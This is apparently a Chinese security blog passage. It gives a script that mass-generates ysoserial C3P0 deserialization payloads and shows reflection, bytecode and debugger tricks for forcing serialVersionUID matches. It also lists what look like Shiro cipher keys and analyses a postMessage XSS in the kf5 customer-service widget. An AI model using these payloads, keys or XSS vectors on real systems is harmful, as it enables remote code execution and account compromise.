1QWLxg+NYmxraMoxAXu/Iw== : 9
ZUdsaGJuSmxibVI2ZHc9PQ== : 8
L7RioUULEFhRyxM7a2R/Yg== : 5
6ZmI6I2j5Y+R5aSn5ZOlAA== : 5
r0e3c16IdVkouZgk1TKVMg== : 4
ZWvohmPdUsAWT3=KpPqda : 4
5aaC5qKm5oqA5pyvAAAAAA== : 4
bWluZS1hc3NldC1rZXk6QQ== : 3
a2VlcE9uR29pbmdBbmRGaQ== : 3
WcfHGU25gNnTxTlmJMeSpw== : 3
LEGEND-CAMPUS-CIPHERKEY== : 3
3AvVhmFLUs0KTA3Kprsdag == : 3

Generate payload

Ysoserial是一个maven项目, 从github上clone下来后首先编译该项目。
git clone https://github.com/frohoff/ysoserial
mvn compile
compile会编译该项目并且下载该项目所需要的jar包, 编译生成的字节码在target目录当中。
这里通过修改classpath来实现加载不同版本的jar包,
在classpath中, 两个不同版本的jar包, 实际项目中会调用的是先定义的jar包。
所以这里在修改classpath时, 将需要修改版本的jar包定义在最前, 覆盖掉ysoserial自带的jar包。
写了一个很糙的 勉强能用的小脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from subprocess import Popen,PIPE
from xml.dom.minidom import *
import os

repo_url = "http://uk.maven.org/maven2/com/mchange/c3p0/maven-metadata.xml"
mvn_home = "/Users/yulegeyu/.m2/repository"
yso_path = "/tmp/ysoserial/target/classes"
gadget = "C3P0"
command = "http://www.baidu.com | base64"

res = requests.get(repo_url)

html = res.content
root = parseString(html.decode("utf-8"))

groupId = root.getElementsByTagName("groupId")[0].firstChild.data
artifactId = root.getElementsByTagName("artifactId")[0].firstChild.data

for i in root.getElementsByTagName("version"):
version = i.firstChild.data
if version.find('-pre') > -1:
continue
jar_path = mvn_home + '/' + groupId.replace('.', '/') + '/' + artifactId + '/' + version + '/' + artifactId + '-' + version + '.jar'
cmd = "mvn dependency:get -DremoteRepositories=http://repo1.maven.org/maven2/ -DgroupId=%s -DartifactId=%s -Dversion=%s" \
% (groupId, artifactId, version)
child = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
child.wait()

cmd2 = "java -cp {0}:{2}:{1}/net/iharder/base64/2.3.9/base64-2.3.9.jar:{1}/commons-io/commons-io/2.6/commons-io-2.6.jar:{1}/org/reflections/reflections/0.9.9/reflections-0.9.9.jar:{1}/com/google/guava/guava/15.0/guava-15.0.jar:{1}/com/google/code/findbugs/annotations/2.0.1/annotations-2.0.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api/2.1.1/shrinkwrap-resolver-api-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi/2.1.1/shrinkwrap-resolver-spi-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api-maven/2.1.1/shrinkwrap-resolver-api-maven-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi-maven/2.1.1/shrinkwrap-resolver-spi-maven-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api-maven-archive/2.1.1/shrinkwrap-resolver-api-maven-archive-2.1.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-api/1.2.1/shrinkwrap-api-1.2.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-impl-maven/2.1.1/shrinkwrap-resolver-impl-maven-2.1.1.jar:{1}/org/eclipse/aether/aether-api/0.9.0.M2/aether-api-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-impl/0.9.0.M2/aether-impl-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-spi/0.9.0.M2/aether-spi-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-connector-wagon/0.9.0.M2/aether-connector-wagon-0.9.0.M2.jar:{1}/org/apache/maven/maven-aether-provider/3.1.1/maven-aether-provider-3.1.1.jar:{1}/org/apache/maven/maven-model/3.1.1/maven-model-3.1.1.jar:{1}/org/apache/maven/maven-model-builder/3.1.1/maven-model-builder-3.1.1.jar:{1}/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar:{1}/org/apache/maven/maven-repository-metadata/3.1.1/maven-repository-metadata-3.1.1.jar:{1}/org/apache/maven/maven-settings/3.1.1/maven-settings-3.1.1.jar:{1}/org/apache/maven/maven-settings-builder/3.1.1/maven-settings-builder-3.1.1.jar:{1}/org/codehaus/plexus/plexus-interpolation/1.19/plexus-interpolation-1.19.jar:{1}/org/codehaus/plexus/plexus-utils/3.0.15/plexus-utils-3.0.15.jar:{1}/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar:{1}/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar:{1}/org/apache/maven/wagon/wagon-provider-api/2.6/wagon-provider-api-2.6.jar:{1}/org/apache/maven/wagon/wagon-file/2.6/wagon-file-2.6.jar:{1}/org/apache/maven/wagon/wagon-http-lightweight/2.6/wagon-http-lightweight-2.6.jar:{1}/org/apache/maven/wagon/wagon-http-shared/2.6/wagon-http-shared-2.6.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-impl-maven-archive/2.1.1/shrinkwrap-resolver-impl-maven-archive-2.1.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-impl-base/1.2.1/shrinkwrap-impl-base-1.2.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-spi/1.2.1/shrinkwrap-spi-1.2.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi-maven-archive/2.1.1/shrinkwrap-resolver-spi-maven-archive-2.1.1.jar:{1}/org/eclipse/sisu/org.eclipse.sisu.plexus/0.0.0.M5/org.eclipse.sisu.plexus-0.0.0.M5.jar:{1}/org/sonatype/sisu/sisu-guice/3.1.0/sisu-guice-3.1.0-no_aop.jar:{1}/org/eclipse/sisu/org.eclipse.sisu.inject/0.0.0.M5/org.eclipse.sisu.inject-0.0.0.M5.jar:{1}/org/codehaus/plexus/plexus-compiler-javac/2.3/plexus-compiler-javac-2.3.jar:{1}/org/codehaus/plexus/plexus-compiler-api/2.3/plexus-compiler-api-2.3.jar:{1}/org/javassist/javassist/3.19.0-GA/javassist-3.19.0-GA.jar:{1}/commons-codec/commons-codec/1.9/commons-codec-1.9.jar:{1}/org/jenkins-ci/main/remoting/2.55/remoting-2.55.jar:{1}/org/jenkins-ci/constant-pool-scanner/1.2/constant-pool-scanner-1.2.jar:{1}/org/jboss/logging/jboss-logging/3.3.0.Final/jboss-logging-3.3.0.Final.jar:{1}/org/jboss/remoting/jboss-remoting/4.0.19.Final/jboss-remoting-4.0.19.Final.jar:{1}/org/jboss/xnio/xnio-api/3.3.4.Final/xnio-api-3.3.4.Final.jar:{1}/org/jboss/jboss-common-core/2.5.0.Final/jboss-common-core-2.5.0.Final.jar:{1}/org/jboss/xnio/xnio-nio/3.3.4.Final/xnio-nio-3.3.4.Final.jar:{1}/org/jboss/sasl/jboss-sasl/1.0.5.Final/jboss-sasl-1.0.5.Final.jar:{1}/org/jboss/remotingjmx/remoting-jmx/2.0.1.Final/remoting-jmx-2.0.1.Final.jar:{1}/org/jboss/logging/jboss-logging-processor/1.2.0.Final/jboss-logging-processor-1.2.0.Final.jar:{1}/org/jboss/jdeparser/jdeparser/1.0.0.Final/jdeparser-1.0.0.Final.jar:{1}/org/jboss/marshalling/jboss-marshalling/1.4.10.Final/jboss-marshalling-1.4.10.Final.jar:{1}/org/jboss/marshalling/jboss-marshalling-river/1.4.10.Final/jboss-marshalling-river-1.4.10.Final.jar:{1}/commons-collections/commons-collections/3.1/commons-collections-3.1.jar:{1}/org/beanshell/bsh/2.0b5/bsh-2.0b5.jar:{1}/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar:{1}/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar:{1}/org/apache/commons/commons-collections4/4.0/commons-collections4-4.0.jar:{1}/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar:{1}/org/springframework/spring-core/4.1.4.RELEASE/spring-core-4.1.4.RELEASE.jar:{1}/org/springframework/spring-beans/4.1.4.RELEASE/spring-beans-4.1.4.RELEASE.jar:{1}/org/hibernate/hibernate-core/4.3.11.Final/hibernate-core-4.3.11.Final.jar:{1}/org/jboss/logging/jboss-logging-annotations/1.2.0.Beta1/jboss-logging-annotations-1.2.0.Beta1.jar:{1}/org/jboss/spec/javax/transaction/jboss-transaction-api_1.2_spec/1.0.0.Final/jboss-transaction-api_1.2_spec-1.0.0.Final.jar:{1}/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar:{1}/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.jar:{1}/org/hibernate/common/hibernate-commons-annotations/4.0.5.Final/hibernate-commons-annotations-4.0.5.Final.jar:{1}/org/hibernate/javax/persistence/hibernate-jpa-2.1-api/1.0.0.Final/hibernate-jpa-2.1-api-1.0.0.Final.jar:{1}/antlr/antlr/2.7.7/antlr-2.7.7.jar:{1}/org/jboss/jandex/1.1.0.Final/jandex-1.1.0.Final.jar:{1}/org/springframework/spring-aop/4.1.4.RELEASE/spring-aop-4.1.4.RELEASE.jar:{1}/aopalliance/aopalliance/1.0/aopalliance-1.0.jar:{1}/net/sf/json-lib/json-lib/2.4/json-lib-2.4-jdk15.jar:{1}/commons-lang/commons-lang/2.5/commons-lang-2.5.jar:{1}/net/sf/ezmorph/ezmorph/1.0.6/ezmorph-1.0.6.jar:{1}/commons-fileupload/commons-fileupload/1.3/commons-fileupload-1.3.jar:{1}/org/apache/wicket/wicket-util/6.23.0/wicket-util-6.23.0.jar:{1}/org/apache/shiro/shiro-core/1.4.0/shiro-core-1.4.0.jar:{1}/org/apache/shiro/shiro-lang/1.4.0/shiro-lang-1.4.0.jar:{1}/org/apache/shiro/shiro-cache/1.4.0/shiro-cache-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-hash/1.4.0/shiro-crypto-hash-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-core/1.4.0/shiro-crypto-core-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-cipher/1.4.0/shiro-crypto-cipher-1.4.0.jar:{1}/org/apache/shiro/shiro-config-core/1.4.0/shiro-config-core-1.4.0.jar:{1}/org/apache/shiro/shiro-config-ogdl/1.4.0/shiro-config-ogdl-1.4.0.jar:{1}/org/apache/shiro/shiro-event/1.4.0/shiro-event-1.4.0.jar:~/.m2/repository/com/mchange/c3p0/0.9.5.2/c3p0-0.9.5.2.jar:{1}/com/mchange/mchange-commons-java/0.2.11/mchange-commons-java-0.2.11.jar:{1}/javax/servlet/javax.servlet-api/3.1.0/javax.servlet-api-3.1.0.jar:{1}/org/apache/myfaces/core/myfaces-impl/2.2.9/myfaces-impl-2.2.9.jar:{1}/org/apache/myfaces/core/myfaces-api/2.2.9/myfaces-api-2.2.9.jar:{1}/org/apache/geronimo/specs/geronimo-atinject_1.0_spec/1.0/geronimo-atinject_1.0_spec-1.0.jar:{1}/commons-digester/commons-digester/1.8/commons-digester-1.8.jar:{1}/xalan/xalan/2.7.2/xalan-2.7.2.jar:{1}/xalan/serializer/2.7.2/serializer-2.7.2.jar:{1}/rome/rome/1.0/rome-1.0.jar:{1}/jdom/jdom/1.0/jdom-1.0.jar:{1}/org/python/jython-standalone/2.5.2/jython-standalone-2.5.2.jar:{1}/rhino/js/1.7R2/js-1.7R2.jar:{1}/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar:{1}/org/jboss/weld/weld-core/1.1.33.Final/weld-core-1.1.33.Final.jar:{1}/org/jboss/weld/weld-api/1.1.Final/weld-api-1.1.Final.jar:{1}/org/jboss/weld/weld-spi/1.1.Final/weld-spi-1.1.Final.jar:{1}/javax/annotation/jsr250-api/1.0/jsr250-api-1.0.jar:{1}/org/jboss/spec/javax/interceptor/jboss-interceptors-api_1.1_spec/1.0.0.Beta1/jboss-interceptors-api_1.1_spec-1.0.0.Beta1.jar:{1}/org/slf4j/slf4j-ext/1.7.2/slf4j-ext-1.7.2.jar:{1}/ch/qos/cal10n/cal10n-api/0.7.7/cal10n-api-0.7.7.jar:{1}/org/jboss/interceptor/jboss-interceptor-core/2.0.0.Final/jboss-interceptor-core-2.0.0.Final.jar:{1}/org/jboss/interceptor/jboss-interceptor-spi/2.0.0.Final/jboss-interceptor-spi-2.0.0.Final.jar:{1}/javax/enterprise/cdi-api/1.0-SP1/cdi-api-1.0-SP1.jar:{1}/org/jboss/interceptor/jboss-interceptor-api/1.1/jboss-interceptor-api-1.1.jar:{1}/javax/inject/javax.inject/1/javax.inject-1.jar:{1}/javax/interceptor/javax.interceptor-api/3.1/javax.interceptor-api-3.1.jar:{1}/org/slf4j/slf4j-api/1.7.21/slf4j-api-1.7.21.jar:{1}/org/clojure/clojure/1.8.0/clojure-1.8.0.jar:{1}/com/vaadin/vaadin-server/7.7.14/vaadin-server-7.7.14.jar:{1}/com/vaadin/vaadin-sass-compiler/0.9.13/vaadin-sass-compiler-0.9.13.jar:{1}/org/w3c/css/sac/1.3/sac-1.3.jar:{1}/com/vaadin/external/flute/flute/1.3.0.gg2/flute-1.3.0.gg2.jar:{1}/com/vaadin/vaadin-shared/7.7.14/vaadin-shared-7.7.14.jar:{1}/org/jsoup/jsoup/1.8.3/jsoup-1.8.3.jar:{1}/org/mortbay/jasper/apache-el/8.0.27/apache-el-8.0.27.jar" \
" ysoserial.GeneratePayload {3} {4}".format(yso_path, mvn_home, jar_path, gadget, command)
print(version)
os.system(cmd2)

-w1351

Modify ysoserial jar serialVersionUID

简介

Java在反序列时, 会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行校验, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。

1
2
3
4
5
6
7
8
9
if (model.serializable == osc.serializable &&
!cl.isArray() &&
suid != osc.getSerialVersionUID()) {
throw new InvalidClassException(osc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
osc.getSerialVersionUID());
}

之前做JEECMS的反序列的时候, 解决C3P0 SUID不同的方法是直接通过修改Ysoeriali C3P0 JAR包的版本与目标环境的JAR包版本一致使SUID一致。
最近闲得想试试通过反射来修改Ysoeriali JAR包的SUID来使SUID一致进行反序列。

类未定义serialVersionUID属性

测试Jar包 服务端 C3P0 0.9.1.1、ysoserial C3P0 0.9.5.2,
-w927
提示本地jar包的SUID为7387108436934414104
而字节流的SUID为-2440162180985815128, SUID不一致爆出异常。

在com.mchange.v2.c3p0.PoolBackedDataSource类中,

1
2
3
4
5
6
7
8
9
10
11
12
13
public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
super(configName);
}
}

未定义serialVersionUID属性。

如果序列化的类里没有显示定义serialVersionUID属性, 那么会通过computeDefaultSUID方法计算得出SUID。

1
2
3
4
5
6
7
8
9
10
11
12
13
public long getSerialVersionUID() {
// REMIND: synchronize instead of relying on volatile?
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}

computeDefaultSUID的大概实现就是通过反射获取到反序列类的成员属性,方法,实现接口等以及它们的修饰符输出到流中, 最后SHA HASH生成SUID。
在这里计算SUID的时候 没有用到成员属性的值以及方法的具体实现, 所以如果修改了成员属性的值和方法的实现是不存在影响的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
private static long computeDefaultSUID(Class<?> cl) {
if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl))
{
return 0L;
}

try {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
DataOutputStream dout = new DataOutputStream(bout);

dout.writeUTF(cl.getName());

int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL |
Modifier.INTERFACE | Modifier.ABSTRACT);

/*
* compensate for javac bug in which ABSTRACT bit was set for an
* interface only if the interface declared methods
*/
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0) ?
(classMods | Modifier.ABSTRACT) :
(classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);

if (!cl.isArray()) {
/*
* compensate for change in 1.2FCS in which
* Class.getInterfaces() was modified to return Cloneable and
* Serializable for array classes.
*/
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}

Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
{
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}

if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V");
}

Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

dout.flush();

MessageDigest md = MessageDigest.getInstance("SHA");
byte[] hashBytes = md.digest(bout.toByteArray());
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
return hash;
} catch (IOException ex) {
throw new InternalError(ex);
} catch (NoSuchAlgorithmException ex) {
throw new SecurityException(ex.getMessage());
}
}

这里来对比一下两个版本C3P0的com.mchange.v2.c3p0.PoolBackedDataSource

0.9.5.2版本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.mchange.v2.c3p0;

import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;

public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
this();
this.initializeNamedConfig(configName, false);
}

public String toString(boolean show_config) {
return this.toString();
}
}

0.9.1.1版本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.mchange.v2.c3p0;

import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;

public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
super(configName);
}
}

两个版本的com.mchange.v2.c3p0.PoolBackedDataSource类中都没有定义SUID, 所以通过computeDefaultSUID来得出SUID, 而且可以明显的看出 在高版本的C3P0当中多了一个toString方法, 必然两个版本经过computeDefaultSUID得到的SUID不同。

对于这种没有显示定义SUID的场景, 大概想了几种方法。

1 反射

尝试通过反射添加SUID属性, 然后再修改属性值为7387108436934414104。
但是翻了下文档, 没看到反射动态添加属性这个操作, 就只有放弃了。

2 Hook

Hook computeDefaultSUID方法, 如果传入的类是com.mchange.v2.c3p0.PoolBackedDataSource, 直接修改返回值为7387108436934414104。
但是找了一下 都没找到个合适的能hook class的框架,
就直接用idea来”hook”了。
在computeDefaultSUID里下个断点,

-w971
把hash修改为7387108436934414104
-w602

就不会在出现SUID异常了。
-w1075

3 修改字节码

直接使用javassist修改com.mchange.v2.c3p0.PoolBackedDataSource的字节码, 给它添加上一个值为7387108436934414104的SUID属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
ClassPool pool = ClassPool.getDefault();
try {
CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);
cls.addField(field);
cls.writeFile();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

修改字节码后, 重新打包jar包 加载到ysoserial当中,
-w849
serialVersionUID已经定义上。
再次生成payload,
-w1251
不再出现SUID异常。
-w1131

类显式定义serialVersionUID属性

如果序列化的类显示定义了serialVersionUID, 只是值不同造成的异常解决起来就比较简单了, 直接通过反射修改该属性值即可。
由于每一个SUID属性的修饰符都是private static final,数据类型为long。
final修饰的属性没法通过反射直接修改属性值, 所以需要先通过反射修改SUID的修饰符 把final修饰符给去掉。
去掉final之后, 再修改SUID的属性值, 最后再把final修饰符重新添加回去即可。
假设(这是我自己改代码造的场景了)

-w1109
YSO的C3P0 Jar包 SUID为7387108436934414104, 打反序列时提示
-w869
所以此时要把yso里的SUID从7387108436934414104修改为-2440162180985815128.
因为这时yso C3P0包存在SUID只是值不同而已, 所以直接利用反射来修改。
在生成payload之前把suid改掉,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
Class clazz = Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource");
Object obj = clazz.newInstance();

Field field = clazz.getDeclaredField("serialVersionUID");
field.setAccessible(true);

Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(obj,-2440162180985815128L);
modifersField.setInt(field, field.getModifiers() & Modifier.FINAL);

} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}

-w932

-w1064

总结

我TM真是闲, 还是直接修改版本方便多了。。。

逸创云客服系统 鸡肋xss分析

简介

一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。
修复方法为
1: 限制了postmessage的来源必须是support.kf5.com
2: showNotice方法当中, 把innerHTML改成了innerText
尝试绕过了一下, 算是失败了吧。

分析

这里首先以官网(http://www.kf5.com) 为例测试一下, 直接看看修复后的代码
每一个要使用这套云客户系统的客户, 都需要引入一个js文件。
http://assets-cdn.kf5.com//supportbox//main.js

1
2
3
<script type="text/javascript">
document.write('<script src="\/\/assets-cdn.kf5.com\/supportbox\/main.js?' + (new Date).getDay() + '" id="kf5-provide-supportBox" kf5-domain="support.kf5.com" charset="utf-8"><\/script>');
</script>

在这个js文件当中,

1
2
3
4
5
6
7
8
var easing = {
swing: function (t) {
return .5 - Math.cos(t * Math.PI) / 2
}, linear: function (t) {
return t
}
};
setup(), autoPopupService()

调用了setup方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function setup() {
bindEvent(window, "DOMContentLoaded", KF5SupportBox.loadConfig), bindEvent(window, "load", KF5SupportBox.loadConfig), bindEvent(window.document, "page:load", KF5SupportBox.loadConfig), bindEvent(window.document, "onreadystatechange", function () {
"complete" === window.document.readyState && KF5SupportBox.loadConfig()
}), window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(window, "message", function (t) {
var e, n, o;
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2]), "CMD::showSupportbox" === n) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton()); else if ("CMD::hideSupportbox" === n) KF5SupportBox.instance && KF5SupportBox.instance.close(function () {
KF5SupportBox.instance.showButton()
}); else if ("CMD::resizeIframe" === n) ; else if ("CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o)); else if ("CMD::newMsgCountNotice" === n) {
if (KF5SupportBox.instance) {
var i = KF5SupportBox.instance.getElement("#msg-number");
o = parseInt(o), o ? (i.style.display = "block", i.innerHTML = o < 10 ? o : "...") : (i.style.display = "none", i.innerHTML = "")
}
} else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
} else "CMD::iframeReady" === n && KF5SupportBox.instance.onIframeReady()
}), "string" == typeof lang && lang && KF5SupportBoxAPI.ready(function () {
KF5SupportBoxAPI.useLang(lang)
})
}

在setup方法当中, 可以看到监听了window对象的message事件, 但是限制了来源(修复1), 在来源符合要求的情况下直接往这个页面postmessage就可以触发这个事件了。

1
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2])

判断了postmessage的来源是不是kf5Domain, 如果是的话,才会进入下一个if然后再给n、o变量赋值。 如果不是的话, 没法进入if, n、o变量就都为两个未初始化的变量, 就利用不上了。

1
2
3
script = window.document.getElementById("kf5-provide-supportBox"),
parts = script.src.split("//"), assetsHost = parts.length > 1 ? parts[1].split("/")[0] : "assets.kf5.com",
kf5Domain = script.getAttribute("kf5-domain")

kf5Domain来自id为kf5-provide-supportBox的标签的kf5-domain属性。

1
<script src="//assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307" id="kf5-provide-supportBox" kf5-domain="support.kf5.com"></script>

所以kf5-domain就为support.kf5.com。 这里我们需要找一个support.kf5.com的xss才能接着看这个postmessage了。

找support.kf5.com的xss, 我还是首先看看有没有类似的postmessage造成的xss
-w1299

一共监听了三个message事件, 在查看第一个的时候就发现了存在xss.
https://assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig),
bindEvent(window, "message", function(t) {
var e, i, n;
if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/),
i = e[1],
n = e[2]),
"CMD::showSupportbox" === i)
KF5SupportBox.instance && (KF5SupportBox.instance.open(),
KF5SupportBox.instance.hideButton());
else if ("CMD::hideSupportbox" === i)
KF5SupportBox.instance && KF5SupportBox.instance.close(function() {
KF5SupportBox.instance.showButton()
});
else if ("CMD::resizeIframe" === i)
;
else if ("CMD::kf5Notice" === i)
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(n && JSON.parse(n));

这个文件和之前未修复的文件很像, 没有限制来源。

